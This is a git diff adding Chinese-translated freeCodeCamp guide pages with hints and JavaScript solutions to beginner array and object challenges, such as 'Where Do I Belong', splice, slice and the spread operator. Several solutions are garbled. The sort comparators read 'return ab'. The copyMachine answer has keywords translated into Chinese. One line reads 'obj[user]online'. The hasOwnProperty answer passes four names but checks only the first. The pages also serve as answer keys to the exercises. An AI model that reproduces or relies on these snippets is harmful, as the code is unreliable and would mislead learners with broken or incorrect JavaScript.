+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/where-do-i-belong/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/where-do-i-belong/index.md
new file mode 100644
index 0000000000..b481f4185c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/where-do-i-belong/index.md
@@ -0,0 +1,205 @@
+---
+title: Where Do I Belong
+localeTitle: 我属于哪里？
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+这可能是一个难以理解的问题。您需要在数组中找到按顺序插入数字的位置，并返回应该去的索引。
+
+#### 相关链接
+
+*   [JS数组排序](http://forum.freecodecamp.com/t/javascript-array-prototype-sort/14306)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+首先要做的是将数组从低到大排序，只是为了使代码更容易。这是排序的地方，它需要一个回调函数，所以你必须创建它。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+对数组进行排序后，只需检查第一个更大的数字并返回索引。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+如果该数字没有索引，那么您也必须处理该案例。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function getIndexToIns(arr, num) { 
+  arr.sort(function(a, b) { 
+    return a - b; 
+  }); 
+ 
+  for (var a = 0; a < arr.length; a++) { 
+    if (arr[a] >= num) 
+      return a; 
+  } 
+ 
+  return arr.length; 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/36)
+
+## 代码说明：
+
+*   首先，我使用`.sort(callbackFuntion)`对数组进行排序，从左到右按最低到最高排序。
+*   然后我使用for循环来比较从最小的一个开始的数组中的项目。当数组上的项大于我们要比较的数时，我们将索引作为整数返回。
+
+#### 相关链接
+
+*   [parseInt函数（）](http://forum.freecodecamp.com/t/javascript-parseint/14686)
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function getIndexToIns(arr, num) { 
+  // Find my place in this sorted array. 
+  var times = arr.length; // runs the for loop once for each thing in the array 
+  var count = 0; 
+  for (var i=0;i<times;i++){ 
+    if(num>arr[i]){count++;} } // counts how many array numbers are smaller than num 
+    return count; // the above equals num's position in a sorted array 
+ } 
+ 
+ getIndexToIns([40, 60], 50); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/2547)
+
+## 代码说明：
+
+*   我没有对arr输入数组进行排序
+*   每当num输入大于arr输入数时，我都会运行for循环计数。
+*   这个数字相当于num在排序数组中的位置。
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+[@HarinaPana](/u/harinapana)
+```
+function getIndexToIns(arr, num) { 
+ 
+  arr.sort(function(a, b) { 
+  return a - b; 
+  }); 
+ 
+  var i = 0; 
+  while (num > arr[i]) { 
+  i++; 
+  } 
+ 
+  return i; 
+ } 
+ 
+ getIndexToIns([40, 60], 50); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/4135)
+
+## 代码说明：
+
+*   排序现有数组。
+*   在检查_num_是否更大时迭代数组。
+*   当_num_不大于_i_并且返回最后检查的元素时，循环将停止。
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+
+通过[@faustodc](/u/faustodc)
+```
+function getIndexToIns(arr, num) { 
+  arr.push(num); 
+  arr.sort(function(a, b){return ab}); 
+  return arr.indexOf(num); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/EB10/1)
+
+## 代码说明：
+
+*   首先，我们使用`push()`将数字`num`添加到数组中， `push()`其添加为数组的最后一个元素。
+*   然后我们使用`sort()`和回调函数`function(a, b){return ab}`来按升序对数字进行排序。
+*   最后，我们使用`indexOf()`函数`indexOf()`数组中`num`的位置或索引。
+
+#### 相关链接
+
+*   [推（）](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [分类（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort)
+*   [指数（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+
+**使用`.findIndex()`**
+```
+function getIndexToIns(arr, num) { 
+  // sort and find right index 
+  var index = arr.sort((curr, next) => curr > next) 
+    .findIndex((currNum)=> num <= currNum); 
+  // Returns proper answer 
+  return index === -1 ? arr.length : index; 
+ } 
+ 
+ getIndexToIns([40, 60], 500); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/63)
+
+## 代码说明：
+
+*   首先按升序对数组进行排序，目前使用数组函数完成此操作以实现最小占用空间。
+*   一旦数组被排序，我们直接应用`.findIndex()` ，我们将比较数组中的每个元素，直到我们找到`num <= currNum`这意味着我们要插入的数字小于或等于当前数字迭代中的数字。
+*   然后我们使用三元运算来检查我们是否返回了索引或`-1` 。我们只有在找不到索引时才得到`-1` ，这意味着当我们为数组中的所有元素得到一个false时，对于这种情况，这意味着`num`应该插入到列表的末尾，这样我们为什么要使用`arr.length` 。
+
+#### 相关链接
+
+*   [Array.findIndex（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/findIndex)
+*   [箭头功能](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
+*   [三元运算符](http://forum.freecodecamp.com/t/javascript-ternary-operator/15973)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+
+通过[@nivrith](/u/nivrith)
+```
+function getIndexToIns(arr, num) { 
+ 
+ return arr.concat(num).sort((a,b) => ab).indexOf(num); 
+ 
+ } 
+ 
+ getIndexToIns([1,3,4],2); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/IUJE/0)
+
+## 代码说明：
+
+*   我们使用方法链来一个接一个地调用一个方法来解决单行中的问题。首先，我们通过调用arr.concat（num）方法合并`arr`和`num`
+*   然后我们使用带有回调**箭头函数的** `sort()` `(a, b) => return ab`来按升序对数字进行排序
+*   最后，我们使用`indexOf()`方法`indexOf()`数组中`num`的位置或索引
+
+#### 相关链接
+
+*   [用JavaScript链接的方法](https://schier.co/blog/2013/11/14/method-chaining-in-javascript.html)
+*   [CONCAT（）](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/concat?v=example)
+*   [箭头功能](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/-iterate-through-the-keys-of-an-object-with-a-for...in-statement/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/-iterate-through-the-keys-of-an-object-with-a-for...in-statement/index.md
new file mode 100644
index 0000000000..63af4e1507
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/-iterate-through-the-keys-of-an-object-with-a-for...in-statement/index.md
@@ -0,0 +1,69 @@
+---
+title:  Iterate Through the Keys of an Object with a for...in Statement
+localeTitle:  使用for ... in Statement中的对象键迭代
+---
+## 使用for ... in Statement中的对象键迭代
+
+方法：
+
+*   注意： `dot-notation`会导致此挑战出错。
+*   必须使用`[square-bracket]`表示法来调用变量属性名称。
+*   以下代码无效。
+
+### 例1：
+
+```javascript
+for (let user in obj) { 
+    if(obj.user.online === true) { 
+      //code 
+    } 
+  } 
+```
+
+*   示例2演示了如何使用`[square-bracket]`表示法执行代码。
+
+### 例2：
+
+```javascript
+for (let user in obj) { 
+    if(obj[user]online === true) { 
+      //code 
+    } 
+  } 
+```
+
+### 解：
+
+```javascript
+let users = { 
+  Alan: { 
+    age: 27, 
+    online: false 
+  }, 
+  Jeff: { 
+    age: 32, 
+    online: true 
+  }, 
+  Sarah: { 
+    age: 48, 
+    online: false 
+  }, 
+  Ryan: { 
+    age: 19, 
+    online: true 
+  } 
+ }; 
+ function countOnline(obj) { 
+  // change code below this line 
+  let result = 0; 
+  for (let user in obj) { 
+    if(obj[user].online === true) { 
+      result++; 
+    } 
+  } 
+  return result; 
+  // change code above this line 
+ } 
+ console.log(countOnline(users)); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/access-an-arrays-contents-using-bracket-notation/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/access-an-arrays-contents-using-bracket-notation/index.md
new file mode 100644
index 0000000000..d154f59aab
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/access-an-arrays-contents-using-bracket-notation/index.md
@@ -0,0 +1,14 @@
+---
+title: Access an Array's Contents Using Bracket Notation
+localeTitle: 使用括号表示法访问数组的内容
+---
+## 使用括号表示法访问数组的内容
+
+*   请记住，数组索引从0开始，因此b的位置将位于`myArray[1]` 。
+
+## 解
+
+```javascript
+myArray[1] = "anything we want"; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/access-property-names-with-bracket-notation/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/access-property-names-with-bracket-notation/index.md
new file mode 100644
index 0000000000..c4093f48cb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/access-property-names-with-bracket-notation/index.md
@@ -0,0 +1,45 @@
+---
+title: Access Property Names with Bracket Notation
+localeTitle: 使用括号表示法访问属性名称
+---
+## 使用括号表示法访问属性名称
+
+方法：
+
+*   使用括号表示法只需在`checkInventory()`函数中编写return语句。
+*   以下代码块演示了所需的语法。
+
+## 例：
+
+```javascript
+let juice = { 
+  apple: 1.15, 
+  orange: 1.45 
+ }; 
+ function checkInventory(scannedItem) { 
+  return juice[scannedItem]; 
+ } 
+```
+
+## 解：
+
+```javascript
+let foods = { 
+  apples: 25, 
+  oranges: 32, 
+  plums: 28, 
+  bananas: 13, 
+  grapes: 35, 
+  strawberries: 27 
+ }; 
+ // do not change code above this line 
+ 
+ function checkInventory(scannedItem) { 
+  // change code below this line 
+  return foods[scannedItem]; 
+ } 
+ 
+ // change code below this line to test different cases: 
+ console.log(checkInventory("apples")); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-items-to-an-array-with-push-and-unshift/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-items-to-an-array-with-push-and-unshift/index.md
new file mode 100644
index 0000000000..486dd61694
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-items-to-an-array-with-push-and-unshift/index.md
@@ -0,0 +1,23 @@
+---
+title: Add Items to an Array with push() and unshift()
+localeTitle: 使用push（）和unshift（）将项添加到数组
+---
+## 使用push（）和unshift（）将项添加到数组
+
+*   就像给出的示例一样，在数组上使用`.unshift()`方法将元素添加到数组的开头，并使用`.push()`方法将元素添加到数组的末尾。
+
+## 解：
+
+```javascript
+function mixedNumbers(arr) { 
+  // change code below this line 
+ arr.unshift('I',2,'three'); 
+ arr.push(7,'VIII', 9); 
+  // change code above this line 
+  return arr; 
+ } 
+ 
+ // do not change code below this line 
+ console.log(mixedNumbers(['IV', 5, 'six'])); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-items-using-splice/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-items-using-splice/index.md
new file mode 100644
index 0000000000..882dcbd6c4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-items-using-splice/index.md
@@ -0,0 +1,35 @@
+---
+title: Add Items Using splice()
+localeTitle: 使用splice（）添加项目
+---
+## 使用splice（）添加项目
+
+*   使用接头（）函数，必须删除从阵列的第一2个元件`arr` ，并用替换它们`DarkSalmon`和`BlanchedAlmond` 。
+*   请记住，拼接功能最多可以使用三个参数。
+
+## 例：
+
+```javascript
+arr.splice(0, 1, "Two"); 
+ /*  The first two paramemters are the same as they were in the previous challenge. 
+    `0` will start the `splice()` function off at index 0. 
+    The second parameter `1` will remove only 1 variable from the array. 
+    The final variable "Two" will replace the variable in arr[0]. 
+    Note: The final parameter can take more than 1 arguement. 
+ */ 
+```
+
+## 解：
+
+```javascript
+function htmlColorNames(arr) { 
+  // change code below this line 
+  arr.splice(0, 2, "DarkSalmon", "BlanchedAlmond"); 
+  // change code above this line 
+  return arr; 
+ } 
+ 
+ // do not change code below this line 
+ console.log(htmlColorNames(['DarkGoldenRod', 'WhiteSmoke', 'LavenderBlush', 'PaleTurqoise', 'FireBrick'])); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-key-value-pairs-to-javascript-objects/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-key-value-pairs-to-javascript-objects/index.md
new file mode 100644
index 0000000000..dc7157ffde
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/add-key-value-pairs-to-javascript-objects/index.md
@@ -0,0 +1,30 @@
+---
+title: Add Key-Value Pairs to JavaScript Objects
+localeTitle: 将键值对添加到JavaScript对象
+---
+## 将键值对添加到JavaScript对象
+
+*   食物对象已经宣布。剩下要做的就是添加三个新的`key-values` 。
+
+```javascript
+OBJECT[{KEY}] = {VALUE} 
+```
+
+*   上面的代码将在对象中创建一个ney `key-value` 。
+
+## 解
+
+```javascript
+let foods = { 
+  apples: 25, 
+  oranges: 32, 
+  plums: 28 
+ }; 
+ // change code below this line 
+ foods['bananas'] = 13; 
+ foods['grapes'] = 35; 
+ foods['strawberries'] = 27; 
+ // change code above this line 
+ console.log(foods); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/check-for-the-presence-of-an-element-with-indexof/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/check-for-the-presence-of-an-element-with-indexof/index.md
new file mode 100644
index 0000000000..923b3e7a3c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/check-for-the-presence-of-an-element-with-indexof/index.md
@@ -0,0 +1,33 @@
+---
+title: Check For The Presence of an Element With indexOf()
+localeTitle: 使用indexOf（）检查元素是否存在
+---
+## 使用indexOf（）检查元素是否存在
+
+*   可以使用简单的`if-statement`来检查`indexOf()`函数返回的值是否小于0。
+*   一旦发现了值，您就可以返回`true`或`false` 。
+*   `Solution-1`演示了一个简单的`if-statement`如何返回正确的结果。
+
+## 方案1：
+
+```javascript
+function quickCheck(arr, elem) { 
+  if(arr.indexOf(elem)>=0) { 
+    return true; 
+  } 
+  return false; 
+ } 
+ console.log(quickCheck(['squash', 'onions', 'shallots'], 'mushrooms')); 
+```
+
+*   `Solution-2`演示如何使用`? : (conditional)`解决问题`? : (conditional)`运算符。
+
+## 方案2：
+
+```javascript
+function quickCheck(arr, elem) { 
+ return arr.indexOf(elem) >= 0 ? true : false; 
+ } 
+ console.log(quickCheck(['squash', 'onions', 'shallots'], 'mushrooms')); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/check-if-an-object-has-a-property/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/check-if-an-object-has-a-property/index.md
new file mode 100644
index 0000000000..2747af4ff6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/check-if-an-object-has-a-property/index.md
@@ -0,0 +1,55 @@
+---
+title: Check if an Object has a Property
+localeTitle: 检查对象是否具有属性
+---
+## 检查对象是否具有属性
+
+方法：
+
+*   完成此挑战的最简单方法是创建一个“ `ìf-statement`来检查对象是否包含所有用户，然后返回true或false语句。第一个解决方案就是这样做的。
+*   第二个解决方案以完全相同的方式工作，只有它在函数内使用1行代码 - `Conditional(ternary)-Operator` - `Conditional(ternary)-Operator` 。
+
+[developer.mozilla.org](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator)对三元运算符进行了更深入的分析。
+
+### 方案1：
+
+```javascript
+let users = { 
+  Alan: { 
+    age: 27, 
+    online: true 
+  }, 
+  Jeff: { 
+    age: 32, 
+    online: true 
+  }, 
+  Sarah: { 
+    age: 48, 
+    online: true 
+  }, 
+  Ryan: { 
+    age: 19, 
+    online: true 
+  } 
+ }; 
+ 
+ function isEveryoneHere(obj) { 
+  // change code below this line 
+  if(users.hasOwnProperty('Alan','Jeff','Sarah','Ryan')) { 
+    return true; 
+  } 
+  return false; 
+  // change code above this line 
+ } 
+ 
+ console.log(isEveryoneHere(users)); 
+```
+
+### 方案2：
+
+```javascript
+function isEveryoneHere(obj) { 
+  return (users.hasOwnProperty('Alan','Jeff','Sarah','Ryan')) ? true : false; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/combine-arrays-with-the-spread-operator/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/combine-arrays-with-the-spread-operator/index.md
new file mode 100644
index 0000000000..257ab4b25b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/combine-arrays-with-the-spread-operator/index.md
@@ -0,0 +1,21 @@
+---
+title: Combine Arrays with the Spread Operator
+localeTitle: 将数组与Spread运算符组合在一起
+---
+## 将数组与Spread运算符组合在一起
+
+*   解决方案与给出的示例完全相同。只需将`fragment[]`数组插入到所需索引的`sentence[]`数组中。
+
+## 解：
+
+```javascript
+function spreadOut() { 
+  let fragment = ['to', 'code']; 
+  let sentence = ["learning", ...fragment, "is", "fun"]; // change this line 
+  return sentence; 
+ } 
+ 
+ // do not change code below this line 
+ console.log(spreadOut()); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/copy-an-array-with-the-spread-operator/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/copy-an-array-with-the-spread-operator/index.md
new file mode 100644
index 0000000000..8e6073f156
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/copy-an-array-with-the-spread-operator/index.md
@@ -0,0 +1,20 @@
+---
+title: Copy an Array with the Spread Operator
+localeTitle: 使用Spread Operator复制数组
+---
+## 使用Spread Operator复制数组
+
+*   示例中的最后一个提示告诉您使用最近学习的方法。
+*   spread运算符将所有元素复制到一个新的空对象中。
+
+\`\`\`的JavaScript while（num> = 1）{ newArr = \[... arr\] num--; }
+```
+- The code above will copy all of the elements into `newArr` but will also reinitialise `newArr` with every new iteration of the while loop. 
+ - A new variable should first be initialised using the spread operator - `let obj = [...arr];` - then this variable should be added to the `newArr` for every iteration of the while loop. 
+ 
+ ## Solution: 
+```
+
+JavaScript的 function copyMachine（arr，num）{ 让newArr = \[\]; while（num> = 1）{ //更改此行下方的代码 newArr.push（\[... ARR\]）; //更改此行以上的代码 num--; } 返回newArr; }
+
+//在此处更改代码以测试不同的情况： console.log（copyMachine（\[true，false，true\]，2））; \`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/copy-array-items-using-slice/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/copy-array-items-using-slice/index.md
new file mode 100644
index 0000000000..3cd44f5a4b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/copy-array-items-using-slice/index.md
@@ -0,0 +1,30 @@
+---
+title: Copy Array Items Using slice()
+localeTitle: 使用slice（）复制数组项
+---
+## 使用slice（）复制数组项
+
+*   `slice()`函数必须用于返回仅包含`warm` `sunny`的数组。
+*   因此，必须将两个参数传递给`slice()`函数。第一个参数必须是您希望子字符串开始的索引。第二个参数必须是子字符串结束的索引。
+*   注意：第二个参数将在该精确索引处结束子字符串。
+
+## 例：
+
+```javascript
+ return arr.slice(1,4); 
+ /* This will return a substring consisting of indexs [1,2,3] 
+    Note: arr[4] is NOT included. 
+```
+
+## 解：
+
+```javascript
+function forecast(arr) { 
+  // change code below this line 
+  return arr.slice(2,4); 
+ } 
+ 
+ // do not change code below this line 
+ console.log(forecast(['cold', 'rainy', 'warm', 'sunny', 'cool', 'thunderstorms'])); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/create-complex-multi-dimensional-arrays/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/create-complex-multi-dimensional-arrays/index.md
new file mode 100644
index 0000000000..62107305de
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/create-complex-multi-dimensional-arrays/index.md
@@ -0,0 +1,28 @@
+---
+title: Create complex multi-dimensional arrays
+localeTitle: 创建复杂的多维数组
+---
+## 创建复杂的多维数组
+
+*   第一个字符串 - `deep` - 必须插入三层深。这意味着正好在三组`[square-brackets]` 。
+
+```javascript
+let threeLevelArray = ["first level", ["Two levels deep", ["Three levels deep"]]]; 
+```
+
+*   使用这种逻辑插入串`deep` ， `deeper`和`deepest`分别深处矩阵三个层次深，四个层次深，五个级别。
+
+## 解：
+
+```javascript
+let myNestedArray = [ 
+  // change code below this line 
+  ['unshift', false, 1, 2, 3, 'complex', 'nested'], 
+  ['loop', 'shift', 6, 7, 1000, 'method'], 
+  ['concat', false, true, 'spread', 'array',["deep"]], 
+  ['mutate', 1327.98, 'splice', 'slice', 'push', [["deeper"]]], 
+  ['iterate', 1.3849, 7, '8.4876', 'arbitrary', 'depth', [[["deepest"]]] ] 
+  // change code above this line 
+ ]; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/generate-an-array-of-all-object-keys-with-object.keys/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/generate-an-array-of-all-object-keys-with-object.keys/index.md
new file mode 100644
index 0000000000..1dc815b79c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/generate-an-array-of-all-object-keys-with-object.keys/index.md
@@ -0,0 +1,42 @@
+---
+title: Generate an Array of All Object Keys with Object.keys()
+localeTitle: 使用Object.keys（）生成所有对象键的数组
+---
+## 使用Object.keys（）生成所有对象键的数组
+
+### 方法：
+
+*   要返回用户数组， `Object.keys()`方法必须采用争论。
+*   可以使用单行返回语句来解决此挑战。
+
+### 解：
+
+```javascript
+let users = { 
+  Alan: { 
+    age: 27, 
+    online: false 
+  }, 
+  Jeff: { 
+    age: 32, 
+    online: true 
+  }, 
+  Sarah: { 
+    age: 48, 
+    online: false 
+  }, 
+  Ryan: { 
+    age: 19, 
+    online: true 
+  } 
+ }; 
+ 
+ function getArrayOfUsers(obj) { 
+  // change code below this line 
+  return Object.keys(obj); 
+  // change code above this line 
+ } 
+ 
+ console.log(getArrayOfUsers(users)); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/index.md
new file mode 100644
index 0000000000..19e8804297
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic Data Structures
+localeTitle: 基本数据结构
+---
+## 基本数据结构
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/iterate-through-all-an-arrays-items-using-for-loops/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/iterate-through-all-an-arrays-items-using-for-loops/index.md
new file mode 100644
index 0000000000..1d1daab61b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/iterate-through-all-an-arrays-items-using-for-loops/index.md
@@ -0,0 +1,54 @@
+---
+title: Iterate Through All an Array's Items Using For Loops
+localeTitle: 使用for循环遍历所有数组的项目
+---
+## 使用for循环遍历所有数组的项目
+
+## 提示1
+
+*   必须使用嵌套的`for`循环来搜索数组中的每个元素。
+
+```javascript
+ for (let i = 0; i < arr.length; i++) { 
+```
+
+\`
+
+## 提示2
+
+*   然后必须将数组的每个元素与通过`filteredArray()`函数传递的`elem`参数进行比较。
+
+```javascript
+if (arr[i].indexOf(elem)==-1){ 
+```
+
+## 提示3
+
+*   如果未找到匹配，则`newArr`会添加整个子阵列。 `push()`函数在这里非常有用。
+
+```javascript
+newArr.push(arr[i]); 
+```
+
+*   将整个子阵列添加到`newArr` ，循环继续下一个元素。
+
+## 解：
+
+```javascript
+function filteredArray(arr, elem) { 
+  let newArr = []; 
+  // change code below this line 
+ 
+ for (let i = 0; i < arr.length; i++) { 
+    if (arr[i].indexOf(elem)==-1){ //Checks every parameter for the element and if is NOT there continues the code 
+          newArr.push(arr[i]); //Inserts the element of the array in the new filtered array 
+            }; 
+          }; 
+ 
+  // change code above this line 
+  return newArr; 
+ }; 
+ // change code here to test different cases: 
+ console.log(filteredArray([[3, 2, 3], [1, 6, 3], [3, 13, 26], [19, 3, 9]], 3)); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/modify-an-array-stored-in-an-object/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/modify-an-array-stored-in-an-object/index.md
new file mode 100644
index 0000000000..388b85434b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-data-structures/modify-an-array-stored-in-an-object/index.md
